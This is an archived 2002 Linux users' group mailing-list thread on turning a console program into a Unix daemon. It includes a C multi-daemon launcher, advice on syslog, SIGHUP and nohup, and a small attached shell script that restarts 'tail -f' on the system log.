Besides the fact that it's a little less elegant? It's been a long long time since I did C/C++ coding and righting daemons. I'm planning on writing up a little tcp/ip daemon for my Zaurus. Thanks for any input. -David On Thu, 2002-05-23 at 19:13, M. Mueller wrote: > On Thursday 23 May 2002 06:40 pm, Peter Long reputedly wrote: > > > Hi all, > > > > I have a console application that I want to turn into a daemon. Does anyone > > know where I can find documentation on how to do that. > > > > Thanks in advance. > > > Here's my daemon launcher. It is more than a basic daemon launcher because I > have N daemons that all talk to each other. Furthermore, I don't want any > daemons to start doing business until all the other daemons are ready. > > -- > Mike Mueller > www.ss7box.com > ---- > > #include > #include > #include > #include > #include > #include > #include > #include "ipc_mq.h" > > #define MAX_DAEMONS 5 > #define DAEMON_PATH "usr/local/ss7t/bin/" > > char *env_init[] = {"USER=mtp3d", "PATH=/tmp", NULL}; > char *daemon_names[][MAX_DAEMONS] = { > "mtp3_d", > "tali_d", > // "sctp_d", > "oam_d", > "mr_d", > "ps_d" > }; > > int sockfd; > struct sockaddr_in myaddr, peeraddr; > t_ipc_mqbuf mb; > socklen_t sockaddrlen; > > void get_busy (unsigned int daemon_id) > /****************************************************************************** > ******************************************************************************/ > { > int r; > > bzero(&peeraddr, sizeof(peeraddr)); > peeraddr.sin_family = AF_INET; > peeraddr.sin_port = htons(daemon_id); > r = inet_pton(AF_INET, IPC_ADDR_STR, &peeraddr.sin_addr.s_addr); > if (r == -1) > { > syslog (LOG_INFO, "F:daemon_launcher:get_busy:inet_pton failed:%s", > strerror(errno)); > exit (-1); > } > > bzero (&mb, sizeof(mb)); > mb.mhdr.s_id = DLAUNCH_ID; // this is the letter sender > mb.mhdr.mcode = IPC_PROCEED; > mb.mhdr.mlen = sizeof(t_ipc_mb_hdr); > > r = sendto (sockfd, &mb, mb.mhdr.mlen, NOFLAGS, > &peeraddr, sizeof (peeraddr)); > if (r == -1) > { > syslog (LOG_INFO, "F:get busy:sendto failed:cause %s target: %s", > strerror(errno), daemon_id); > exit (-1); > } > } > > int daemon_init(char *p_daemon_fname) > /****************************************************************************** > ******************************************************************************/ > { > char daemon_pathname [128]; > pid_t pid; > > if ( (pid = fork()) < 0) > return(-1); > else if (pid != 0) > return (0); /* the parent process returns from this function here */ > > // the child process continues here > > setsid(); /* become session leader */ > chdir("/"); /* change working directory */ > umask(0); /* clear our file mode creation mask */ > > if ((strlen (p_daemon_fname) + strlen (DAEMON_PATH)+ 1) > sizeof (daemon_pathname)) > { > syslog (LOG_INFO, "daemon pathname too long"); > exit (-1); > } > > // exec the daemon in the child process > > execl ( > strcat (strcpy (daemon_pathname,DAEMON_PATH), p_daemon_fname), > p_daemon_fname, > (char *) 0 > ); > > // should never reach this statement > > exit(0); > } > > int daemon_comm_ready (void) > /****************************************************************************** > ******************************************************************************/ > { > ssize_t bw; > u_long daemons_ready; > > daemons_ready = 0; > > for (;;) > { > // blocking read; wait for a daemon to report for duty; if this becomes > // a block-forever condition, then one must resort to killing process > // use "ps -axj" as superuser to find the processes to be killed > > bw = recvfrom (sockfd, &mb, sizeof (mb), NOFLAGS, > &peeraddr, &sockaddrlen); > if (bw == -1) > { > syslog (LOG_INFO, "F:daemon_comm_ready:recvfrom failed"); > exit (-1); > } > > // show who's ready for duty; add a string termination > > //mb.mdata[mb.mhdr.mlen - sizeof(t_ipc_mb_hdr)] = '\0'; > syslog (LOG_INFO, "I:mb contents:s_id %d daemon on duty: %s", > mb.mhdr.s_id, > &mb.mdata); > > daemons_ready = daemons_ready | mb.mhdr.s_id; > if (daemons_ready == ALL_DAEMONS_READY) > { > syslog (LOG_INFO, "I:daemon_comm_ready:all daemons ready"); > break; > } > } // end of for loop > > // tell the daemons that IPC may proceed > > get_busy (MTP3_PORT); > get_busy (TALI_PORT); > // get_busy (SCTP_IPC_PORT); > get_busy (OAM_PORT); > get_busy (MR_PORT); > get_busy (PS_PORT); > } > > int configure_dl() > /****************************************************************************** > ******************************************************************************/ > { > //dlConf = new c_confReader("dl"); > //delete dlConf > } > > int main (int argc, char **argv) > /****************************************************************************** > ******************************************************************************/ > { > int d; > int r; > > openlog ("daemon_init" ,LOG_PID, LOG_USER); > syslog (LOG_INFO ,"Daemon launcher starting"); > > // read daemon launcher conf file > > configure_dl(); > > sockfd = socket(AF_INET, SOCK_DGRAM, 0); > if (sockfd == -1) > { > syslog (LOG_INFO, "socket failed"); > exit (-1); > } > > // create an Internet Protocol address > > bzero(&myaddr, sizeof(myaddr)); > myaddr.sin_family = AF_INET; > myaddr.sin_port = htons(DLAUNCH_PORT); > r = inet_pton(AF_INET, IPC_ADDR_STR, &myaddr.sin_addr.s_addr); > if (r == -1) > { > syslog (LOG_INFO, "I:daemon_launcher:main:inet_pton failed:%s", > strerror(errno)); > exit (-1); > } > > r = bind (sockfd, (const struct sockaddr *) &myaddr, sizeof(myaddr)); > if (r == -1) > { > syslog (LOG_INFO, "bind failed"); > exit (-1); > } > > for (d = 0; d < MAX_DAEMONS; d++) > { > if (daemon_init (daemon_names [0][d]) == -1) > { > syslog (LOG_INFO, "fork failed; daemon ID: %s\n", daemon_names[d]); > return (-1); > } > } > > if (daemon_comm_ready () == -1) > { > } > return (0); > } From boyle@laue.chem.ncsu.edu Thu May 23 21:59:20 2002 Received: from laue.chem.ncsu.edu (laue.chem.ncsu.edu [152.1.38.206]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g4O1xKJ11777 for ; Thu, 23 May 2002 21:59:20 -0400 Received: (from boyle@localhost) by laue.chem.ncsu.edu (8.11.6/8.11.6) id g4O1ucP31961 for dev@trilug.org; Thu, 23 May 2002 21:56:38 -0400 From: "Paul D. Boyle" Message-Id: <200205240156.g4O1ucP31961@laue.chem.ncsu.edu> Subject: Re: [Dev] HOWTO write a daemon To: dev@trilug.org Date: Thu, 23 May 2002 21:56:38 -0400 (EDT) In-Reply-To: <1022202387.2055.6.camel@kara.georgetown.edu> from "David A. Cafaro" at May 23, 2002 09:06:26 PM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > > Just curious but what is wrong with just writing a program that doesn't > put out any text to the console and starting it with a script with a > command like this: > > mydaemon& > > Besides the fact that it's a little less elegant? What distinguishes a daemon from a "regular" process (either foreground or background) is that the process becomes (according to Stevens) a session leader of a new session, it becomes a process group leader of a new process group, and it has no controlling terminal. In addition, very often daemon change their current working directory to a specific directory (often, but not always, "/"), so that filesystems can be unmounted while the daemon is running (did you ever try to unmount a file system and got a 'device busy' message?). Under Unix (Linux) all processes automatically open three I/O streams, stdin, stdout, stderr, these are often closed in a daemon process. Paul -- Paul D. Boyle | boyle@laue.chem.ncsu.edu Director, X-ray Structural Facility | phone: (919) 515-7362 Department of Chemistry - Box 8204 | FAX: (919) 515-5079 North Carolina State University | Raleigh, NC, 27695-8204 http://laue.chem.ncsu.edu/web/xray.welcome.html From mmueller@ss7box.com Thu May 23 23:52:32 2002 Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g4O3qWJ12836 for ; Thu, 23 May 2002 23:52:32 -0400 Received: from user-uivf3ag.dsl.mindspring.com ([165.247.141.80] helo=there) by blount.mail.mindspring.net with smtp (Exim 3.33 #1) id 17B65G-00005v-00 for dev@trilug.org; Thu, 23 May 2002 23:49:42 -0400 From: "M. Mueller" To: dev@trilug.org Subject: Re: [Dev] HOWTO write a daemon Date: Thu, 23 May 2002 23:46:14 -0400 X-Mailer: KMail [version 1.3.1] References: <200205240156.g4O1ucP31961@laue.chem.ncsu.edu> In-Reply-To: <200205240156.g4O1ucP31961@laue.chem.ncsu.edu> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_2TJLW1WXNDY57GVJYCNH" Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --------------Boundary-00=_2TJLW1WXNDY57GVJYCNH Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit On Thursday 23 May 2002 09:56 pm, Paul D. Boyle reputedly wrote: > Under Unix (Linux) all processes automatically open three I/O streams, > stdin, stdout, stderr, these are often closed in a daemon process. So, you need alternatives to these services. I make great use of the syslogger daemon. I had to become aware of the klogger, or kernel logger daemon because it would generate useful information for me. This led to needing an awareness of the logrotate function which led to needing an awareness of cron from a system point of view. I "tail -f" the /var/log/messages file for long periods of time and found that logrotate changes the file handles so that the "tail -f" goes dead so to speak. I've hacked a script that lets me quickly manage the tail function (script attached). I eventually learned how to manage the /etc/syslog.conf and syslog calls to define new log files associated with new facilities. Another capability that I think Brent Verner brought to my attention, and that I have not investigated yet, is the FIFO abilities of the Linux syslogger. More at "man syslogd". My daemons use AF_INET sockets for interprocess communication. I tried several flavors of IPC (SystemV, AF_UNIX sockets). And there are more IPC methods I did not try. I've seen code that used disk files for IPC. The Stevens book, "UNIX Network Programming, Volume 2, Second Edition: Interprocess Communications, Prentice Hall, 1999" was my primary resource. I use Python to write shell to daemon "communicators". My intent here is to dump a bunch of ideas to the list that you can pick through. If there is further interest, I can provide code detail and system configuration detail as requested. -- Mike Mueller www.ss7box.com --------------Boundary-00=_2TJLW1WXNDY57GVJYCNH Content-Type: application/x-shellscript; name="Tail" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Tail" IyEvYmluL3NoCgpwcyAtQyB0YWlsIHwgZWdyZXAgInRhaWwifCBjdXQgLWMgMS01ID4gdGVtcAoK Y2F0IHRlbXAKCndoaWxlIHJlYWQgcGlkOyBkbwoJZWNobyBraWxsICRwaWQKCWtpbGwgJHBpZApk b25lIDwgdGVtcApybSAtZiB0ZW1wCgppZiBbICQxID0gIm9mZiIgXTsgdGhlbiBleGl0CmZpCgp0 YWlsIC1mIC92YXIvbG9nL21lc3NhZ2VzICYKI3BzIC1heGoK --------------Boundary-00=_2TJLW1WXNDY57GVJYCNH-- From acoliver@apache.org Fri May 24 08:16:18 2002 Received: from mail8.nc.rr.com (fe8.southeast.rr.com [24.93.67.55]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g4OCGHJ18081 for ; Fri, 24 May 2002 08:16:17 -0400 Received: from apache.org ([64.102.254.33]) by mail8.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Fri, 24 May 2002 08:13:27 -0400 Message-ID: <3CEE2E91.2000704@apache.org> Date: Fri, 24 May 2002 08:14:09 -0400 From: "Andrew C. Oliver" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0rc2) Gecko/20020510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: dev@trilug.org Subject: Re: [Dev] HOWTO write a daemon References: <37828.129.33.49.251.1022193609.squirrel@albert.petelong.com> <1022202387.2055.6.camel@kara.georgetown.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: just make sure you start it as some other user than root. David A. Cafaro wrote: >Just curious but what is wrong with just writing a program that doesn't >put out any text to the console and starting it with a script with a >command like this: > >mydaemon& > >Besides the fact that it's a little less elegant? > >It's been a long long time since I did C/C++ coding and righting >daemons. I'm planning on writing up a little tcp/ip daemon for my >Zaurus. Thanks for any input. > >-David > >On Thu, 2002-05-23 at 19:13, M. Mueller wrote: > > >>On Thursday 23 May 2002 06:40 pm, Peter Long reputedly wrote: >> >> >> >>>Hi all, >>> >>>I have a console application that I want to turn into a daemon. Does anyone >>>know where I can find documentation on how to do that. >>> >>>Thanks in advance. >>> >>> >>Here's my daemon launcher. It is more than a basic daemon launcher because I >>have N daemons that all talk to each other. Furthermore, I don't want any >>daemons to start doing business until all the other daemons are ready. >> >>-- >>Mike Mueller >>www.ss7box.com >>---- >> >> >> > > > >>#include >>#include >>#include >>#include >>#include >>#include >>#include >>#include "ipc_mq.h" >> >>#define MAX_DAEMONS 5 >>#define DAEMON_PATH "usr/local/ss7t/bin/" >> >>char *env_init[] = {"USER=mtp3d", "PATH=/tmp", NULL}; >>char *daemon_names[][MAX_DAEMONS] = { >> "mtp3_d", >> "tali_d", >>// "sctp_d", >> "oam_d", >> "mr_d", >> "ps_d" >> }; >> >>int sockfd; >>struct sockaddr_in myaddr, peeraddr; >>t_ipc_mqbuf mb; >>socklen_t sockaddrlen; >> >>void get_busy (unsigned int daemon_id) >>/****************************************************************************** >>******************************************************************************/ >>{ >>int r; >> >> bzero(&peeraddr, sizeof(peeraddr)); >> peeraddr.sin_family = AF_INET; >> peeraddr.sin_port = htons(daemon_id); >> r = inet_pton(AF_INET, IPC_ADDR_STR, &peeraddr.sin_addr.s_addr); >> if (r == -1) >> { >> syslog (LOG_INFO, "F:daemon_launcher:get_busy:inet_pton failed:%s", >> strerror(errno)); >> exit (-1); >> } >> >> bzero (&mb, sizeof(mb)); >> mb.mhdr.s_id = DLAUNCH_ID; // this is the letter sender >> mb.mhdr.mcode = IPC_PROCEED; >> mb.mhdr.mlen = sizeof(t_ipc_mb_hdr); >> >> r = sendto (sockfd, &mb, mb.mhdr.mlen, NOFLAGS, >> &peeraddr, sizeof (peeraddr)); >> if (r == -1) >> { >> syslog (LOG_INFO, "F:get busy:sendto failed:cause %s target: %s", >> strerror(errno), daemon_id); >> exit (-1); >> } >>} >> >>int daemon_init(char *p_daemon_fname) >>/****************************************************************************** >>******************************************************************************/ >>{ >>char daemon_pathname [128]; >> pid_t pid; >> >> if ( (pid = fork()) < 0) >> return(-1); >> else if (pid != 0) >> return (0); /* the parent process returns from this function here */ >> >>// the child process continues here >> >> setsid(); /* become session leader */ >> chdir("/"); /* change working directory */ >> umask(0); /* clear our file mode creation mask */ >> >> if ((strlen (p_daemon_fname) + strlen (DAEMON_PATH)+ 1) > sizeof (daemon_pathname)) >> { >> syslog (LOG_INFO, "daemon pathname too long"); >> exit (-1); >> } >> >>// exec the daemon in the child process >> >> execl ( >> strcat (strcpy (daemon_pathname,DAEMON_PATH), p_daemon_fname), >> p_daemon_fname, >> (char *) 0 >> ); >> >>// should never reach this statement >> >> exit(0); >>} >> >>int daemon_comm_ready (void) >>/****************************************************************************** >>******************************************************************************/ >>{ >>ssize_t bw; >>u_long daemons_ready; >> >> daemons_ready = 0; >> >> for (;;) >> { >>// blocking read; wait for a daemon to report for duty; if this becomes >>// a block-forever condition, then one must resort to killing process >>// use "ps -axj" as superuser to find the processes to be killed >> >> bw = recvfrom (sockfd, &mb, sizeof (mb), NOFLAGS, >> &peeraddr, &sockaddrlen); >> if (bw == -1) >> { >> syslog (LOG_INFO, "F:daemon_comm_ready:recvfrom failed"); >> exit (-1); >> } >> >>// show who's ready for duty; add a string termination >> >> //mb.mdata[mb.mhdr.mlen - sizeof(t_ipc_mb_hdr)] = '\0'; >> syslog (LOG_INFO, "I:mb contents:s_id %d daemon on duty: %s", >> mb.mhdr.s_id, >> &mb.mdata); >> >> daemons_ready = daemons_ready | mb.mhdr.s_id; >> if (daemons_ready == ALL_DAEMONS_READY) >> { >> syslog (LOG_INFO, "I:daemon_comm_ready:all daemons ready"); >> break; >> } >> } // end of for loop >> >>// tell the daemons that IPC may proceed >> >> get_busy (MTP3_PORT); >> get_busy (TALI_PORT); >>// get_busy (SCTP_IPC_PORT); >> get_busy (OAM_PORT); >> get_busy (MR_PORT); >> get_busy (PS_PORT); >>} >> >>int configure_dl() >>/****************************************************************************** >>******************************************************************************/ >>{ >> //dlConf = new c_confReader("dl"); >> //delete dlConf >>} >> >>int main (int argc, char **argv) >>/****************************************************************************** >>******************************************************************************/ >>{ >>int d; >>int r; >> >> openlog ("daemon_init" ,LOG_PID, LOG_USER); >> syslog (LOG_INFO ,"Daemon launcher starting"); >> >>// read daemon launcher conf file >> >> configure_dl(); >> >> sockfd = socket(AF_INET, SOCK_DGRAM, 0); >> if (sockfd == -1) >> { >> syslog (LOG_INFO, "socket failed"); >> exit (-1); >> } >> >>// create an Internet Protocol address >> >> bzero(&myaddr, sizeof(myaddr)); >> myaddr.sin_family = AF_INET; >> myaddr.sin_port = htons(DLAUNCH_PORT); >> r = inet_pton(AF_INET, IPC_ADDR_STR, &myaddr.sin_addr.s_addr); >> if (r == -1) >> { >> syslog (LOG_INFO, "I:daemon_launcher:main:inet_pton failed:%s", >> strerror(errno)); >> exit (-1); >> } >> >> r = bind (sockfd, (const struct sockaddr *) &myaddr, sizeof(myaddr)); >> if (r == -1) >> { >> syslog (LOG_INFO, "bind failed"); >> exit (-1); >> } >> >> for (d = 0; d < MAX_DAEMONS; d++) >> { >> if (daemon_init (daemon_names [0][d]) == -1) >> { >> syslog (LOG_INFO, "fork failed; daemon ID: %s\n", daemon_names[d]); >> return (-1); >> } >> } >> >> if (daemon_comm_ready () == -1) >> { >> } >> return (0); >>} >> >> > > > >_______________________________________________ >Dev mailing list >Dev@trilug.org >http://www.trilug.org/mailman/listinfo/dev > > > From johndavi@us.ibm.com Fri May 24 08:46:24 2002 Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g4OCkNJ18380 for ; Fri, 24 May 2002 08:46:23 -0400 Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.us.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.12.2/8.12.2) with ESMTP id g4OChXFD134064 for ; Fri, 24 May 2002 08:43:33 -0400 Received: from d04nms11.raleigh.ibm.com (d04nms11.raleigh.ibm.com [9.27.5.140]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.1) with ESMTP id g4OChX7236752 for ; Fri, 24 May 2002 08:43:33 -0400 Importance: Normal Sensitivity: Subject: Re: [Dev] HOWTO write a daemon To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 Message-ID: From: "John F Davis" Date: Fri, 24 May 2002 08:43:06 -0400 X-MIMETrack: Serialize by Router on D04NMS11/04/M/IBM(Release 5.0.9a |January 7, 2002) at 05/24/2002 08:43:33 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hello Mike, That was a good read. I like the bit about 'and this unknown led to this unknown etc'. You tracked down each unknown in turn and learned a lot. I can identify with that. If the original poster wants to talk about what they plan to do in more detail, I'm sure we can all help. Thanks JD "M. Mueller" @trilug.org on 05/23/2002 11:46:14 PM Please respond to dev@trilug.org Sent by: dev-admin@trilug.org To: dev@trilug.org cc: Subject: Re: [Dev] HOWTO write a daemon On Thursday 23 May 2002 09:56 pm, Paul D. Boyle reputedly wrote: > Under Unix (Linux) all processes automatically open three I/O streams, > stdin, stdout, stderr, these are often closed in a daemon process. So, you need alternatives to these services. I make great use of the syslogger daemon. I had to become aware of the klogger, or kernel logger daemon because it would generate useful information for me. This led to needing an awareness of the logrotate function which led to needing an awareness of cron from a system point of view. I "tail -f" the /var/log/messages file for long periods of time and found that logrotate changes the file handles so that the "tail -f" goes dead so to speak. I've hacked a script that lets me quickly manage the tail function (script attached). I eventually learned how to manage the /etc/syslog.conf and syslog calls to define new log files associated with new facilities. Another capability that I think Brent Verner brought to my attention, and that I have not investigated yet, is the FIFO abilities of the Linux syslogger. More at "man syslogd". My daemons use AF_INET sockets for interprocess communication. I tried several flavors of IPC (SystemV, AF_UNIX sockets). And there are more IPC methods I did not try. I've seen code that used disk files for IPC. The Stevens book, "UNIX Network Programming, Volume 2, Second Edition: Interprocess Communications, Prentice Hall, 1999" was my primary resource. I use Python to write shell to daemon "communicators". My intent here is to dump a bunch of ideas to the list that you can pick through. If there is further interest, I can provide code detail and system configuration detail as requested. -- Mike Mueller www.ss7box.com From petelong@petelong.com Fri May 24 09:20:49 2002 Received: from albert.petelong.com (rdu25-11-200.nc.rr.com [24.25.11.200]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g4ODKnJ18790 for ; Fri, 24 May 2002 09:20:49 -0400 Received: from petelong.com (localhost [127.0.0.1]) by albert.petelong.com (Postfix) with SMTP id 87C5E1D91D for ; Fri, 24 May 2002 09:24:13 -0400 (EDT) Received: from 192.168.0.2 (SquirrelMail authenticated user petelong) by albert.petelong.com with HTTP; Fri, 24 May 2002 09:24:13 -0400 (EDT) Message-ID: <2397.192.168.0.2.1022246653.squirrel@albert.petelong.com> Date: Fri, 24 May 2002 09:24:13 -0400 (EDT) From: "=?iso-8859-1?Q?Peter_Long?=" To: dev@trilug.org In-Reply-To: References: X-Mailer: SquirrelMail (version 1.0.6) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: [Dev] =?iso-8859-1?Q?Re:_[Dev]_HOWTO_write_a_daemon?= Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > Hello Mike, > > That was a good read. I like the bit about 'and this unknown led to > this unknown etc'. You tracked down each unknown in turn and learned a > lot. I can identify with that. > > If the original poster wants to talk about what they plan to do in more > detail, I'm sure we can all help. Well thanks for the offer to help. I planned to turn my application in to a daemon all along so I wrote it to have no interface. It does not rely on the existence of stdin/stdout/stderr and I log everything using calls to syslog(). So what I needed to know what how to detach the io streams and whatever else was necessary for a process to be considered a daemon. BTW: I was under the impression that just typing 'mydaemon&' would not work. I thought that the process would be terminated when I logged off in any case. Is there some way around that or am I just completely mistaken? Thanks again for all the help. -- Peter Long From johndavi@us.ibm.com Fri May 24 09:32:59 2002 Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g4ODWxJ19195 for ; Fri, 24 May 2002 09:32:59 -0400 Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.us.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.12.2/8.12.2) with ESMTP id g4ODU8FD052742 for ; Fri, 24 May 2002 09:30:09 -0400 Received: from d04nms11.raleigh.ibm.com (d04nms11.raleigh.ibm.com [9.27.5.140]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.1) with ESMTP id g4ODU8764174 for ; Fri, 24 May 2002 09:30:08 -0400 Importance: Normal Sensitivity: Subject: Re: [Dev] Re: [Dev] HOWTO write a daemon To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 Message-ID: From: "John F Davis" Date: Fri, 24 May 2002 09:29:41 -0400 X-MIMETrack: Serialize by Router on D04NMS11/04/M/IBM(Release 5.0.9a |January 7, 2002) at 05/24/2002 09:30:07 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hello Well, I haven't really written a demon per se. I did write some code which was called during initiailization and forked off a child. The child ran an existing non-interactive app which in turn would use syslog to record messages. My code was only four lines long. Oh yeah, I also piped the output to /dev/null. (Not all of its output was sent to the logfiles.) You are correct about the backgrounding of a app. It will indeed die when you log off. For what its worth, you can use cron or one its ilk to schedule the job. It sounds to me that you are most of the way to your goal. ie. o Your code uses syslog. o It doesn't use stdin/stdout/stderr All you need is the code to run unintended. You just need to tie it in with the rc.d scripts. The scripts will handle the start, stop and status bit for you. You can even hook in with inittab if you want to make sure it stays running. It is inittab which restarts daemons automatically when there are killed, right? JD "Peter Long" @trilug.org on 05/24/2002 09:24:13 AM Please respond to dev@trilug.org Sent by: dev-admin@trilug.org To: dev@trilug.org cc: Subject: [Dev] Re: [Dev] HOWTO write a daemon > Hello Mike, > > That was a good read. I like the bit about 'and this unknown led to > this unknown etc'. You tracked down each unknown in turn and learned a > lot. I can identify with that. > > If the original poster wants to talk about what they plan to do in more > detail, I'm sure we can all help. Well thanks for the offer to help. I planned to turn my application in to a daemon all along so I wrote it to have no interface. It does not rely on the existence of stdin/stdout/stderr and I log everything using calls to syslog(). So what I needed to know what how to detach the io streams and whatever else was necessary for a process to be considered a daemon. BTW: I was under the impression that just typing 'mydaemon&' would not work. I thought that the process would be terminated when I logged off in any case. Is there some way around that or am I just completely mistaken? Thanks again for all the help. -- Peter Long _______________________________________________ Dev mailing list Dev@trilug.org http://www.trilug.org/mailman/listinfo/dev From jeremyp@pobox.com Fri May 24 09:39:09 2002 Received: from mail.ntrnet.net (mail.ntrnet.net [206.66.160.21]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g4ODd9J19282 for ; Fri, 24 May 2002 09:39:09 -0400 Received: from shell.ntrnet.net (IDENT:jeremy@shell.ntrnet.net [206.66.160.7]) by mail.ntrnet.net (8.12.1/8.12.1) with ESMTP id g4ODZkwQ025231 for ; Fri, 24 May 2002 09:35:46 -0400 Date: Fri, 24 May 2002 09:35:24 -0400 (EDT) From: Jeremy P X-Sender: jeremy@shell.ntrnet.net To: dev@trilug.org Subject: Re: [Dev] =?iso-8859-1?Q?Re:_[Dev]_HOWTO_write_a_daemon?= In-Reply-To: <2397.192.168.0.2.1022246653.squirrel@albert.petelong.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Fri, 24 May 2002, [iso-8859-1] Peter Long wrote: > BTW: I was under the impression that just typing 'mydaemon&' would not work. > I thought that the process would be terminated when I logged off in any > case. Is there some way around that or am I just completely mistaken? It won't die if you trap the appropriate signals (like SIGHUP, signal 1). SIGHUP is normally used to signal child processes that the user logged off; for daemons it's trapped and is often used to reread the configuartion file. Even if you're not writing a program, you can block SIGHUP with the "nohup" utility... read the man page for nohup (or "pinfo nohup" for the better documentation). I think nohup also "nice's" the background process, which you may or may not want. --Jeremy From petelong@petelong.com Fri May 24 12:45:37 2002 Received: from albert.petelong.com (rdu25-11-200.nc.rr.com [24.25.11.200]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g4OGjbJ21266 for ; Fri, 24 May 2002 12:45:37 -0400 Received: from petelong.com (localhost [127.0.0.1]) by albert.petelong.com (Postfix) with SMTP id 4B96C1D91D for ; Fri, 24 May 2002 12:49:06 -0400 (EDT) Received: from 129.33.49.208 (SquirrelMail authenticated user petelong) by albert.petelong.com with HTTP; Fri, 24 May 2002 12:49:06 -0400 (EDT) Message-ID: <45557.129.33.49.208.1022258946.squirrel@albert.petelong.com> Date: Fri, 24 May 2002 12:49:06 -0400 (EDT) From: "=?iso-8859-1?Q?Peter_Long?=" To: dev@trilug.org In-Reply-To: References: X-Mailer: SquirrelMail (version 1.0.6) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: [Dev] =?iso-8859-1?Q?Re:_[Dev]_Re:_[Dev]_HOWTO_write_a_daemon?= Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > On Fri, 24 May 2002, [iso-8859-1] Peter Long wrote: > >> BTW: I was under the impression that just typing 'mydaemon&' would not >> work. I thought that the process would be terminated when I logged off >> in any case. Is there some way around that or am I just completely >> mistaken? > > It won't die if you trap the appropriate signals (like SIGHUP, signal > 1). SIGHUP is normally used to signal child processes that the user > logged off; for daemons it's trapped and is often used to reread the > configuartion file. > > Even if you're not writing a program, you can block SIGHUP with the > "nohup" utility... read the man page for nohup (or "pinfo nohup" for > the better documentation). I think nohup also "nice's" the background > process, which you may or may not want. > > --Jeremy I assume trapping SIGHUP will work on any form on unix machine. The application that I am writing has to work on Win2K, AIX and Linux. Making a win2k service I can do. Hopefully daemons are implemented the same on both AIX and Linux. :) -- Peter Long mailto:petelong@petelong.com From jeremyp@pobox.com Fri May 24 12:51:55 2002 Received: from mail.ntrnet.net (mail.ntrnet.net [206.66.160.21]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g4OGptJ21386 for ; Fri, 24 May 2002 12:51:55 -0400 Received: from shell.ntrnet.net (IDENT:jeremy@shell.ntrnet.net [206.66.160.7]) by mail.ntrnet.net (8.12.1/8.12.1) with ESMTP id g4OGmWwQ004839 for ; Fri, 24 May 2002 12:48:32 -0400 Date: Fri, 24 May 2002 12:48:10 -0400 